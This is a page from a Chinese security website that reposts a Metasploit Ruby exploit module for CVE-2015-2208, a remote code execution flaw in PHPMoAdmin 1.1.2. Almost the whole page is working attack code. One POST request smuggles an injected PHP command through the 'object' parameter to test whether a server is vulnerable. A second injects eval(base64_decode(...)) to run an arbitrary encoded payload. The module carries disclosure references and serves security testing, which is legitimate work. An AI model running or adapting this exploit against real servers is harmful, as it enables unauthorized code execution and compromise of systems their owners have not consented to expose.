首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHPMoAdmin 1.1.2 Remote Code Execution
来源:metasploit.com 作者:Ricardo 发布时间:2015-03-06  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'


class Metasploit4 < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PHPMoAdmin 1.1.2 Remote Code Execution',
      'Description'    => %q{
        This module exploits an arbitrary PHP command execution vulnerability due to a
        dangerous use of eval() in PHPMoAdmin.
      },
      'Author'         =>
        [
          'Pichaya Morimoto pichaya[at]ieee.org', # Public PoC
          'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-2208' ],
          [ 'EDB', '36251' ],
          [ 'URL', 'http://seclists.org/fulldisclosure/2015/Mar/19' ],
          [ 'URL', 'http://seclists.org/oss-sec/2015/q1/743' ]
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'PHPMoAdmin', { }  ],
        ],
      'DisclosureDate' => 'Mar 03 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The URI path of the PHPMoAdmin page", "/"])
      ], self.class)
  end

  def check
    testrun = Rex::Text::rand_text_alpha(10)
    res = send_request_cgi({
      'uri'       => normalize_uri(target_uri,'moadmin.php'),
      'method'    => 'POST',
      'vars_post' =>
      {
        'object'	=> "1;echo '#{testrun}';exit",
      }
    })

    if res and res.body.include?(testrun)
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit

    print_status("Executing payload...")

    res = send_request_cgi({
      'uri'       => normalize_uri(target_uri,'moadmin.php'),
      'method'    => 'POST',
      'vars_post' =>
      {
        'object'  => "1;eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
      }
    })

  end
end


 
[推荐] [评论(1条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Wordpress Theme DesignFolio+ A
·Nvidia Mental Ray Satellite Se
·VFU 4.10-1.1 - Move Entry Buff
·Betster 1.0.4 SQL Injection /
·Generic DLL Injection From Sha
·Sagem F@st 3304-V2 - Telnet Cr
·Generic Web Application DLL In
·ElasticSearch Unauthenticated
·HP Data Protector 8.10 Remote
·Adobe Flash Player ByteArray U
·SQLite3 3.8.6 - Controlled Mem
·ElasticSearch Search Groovy Sa
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved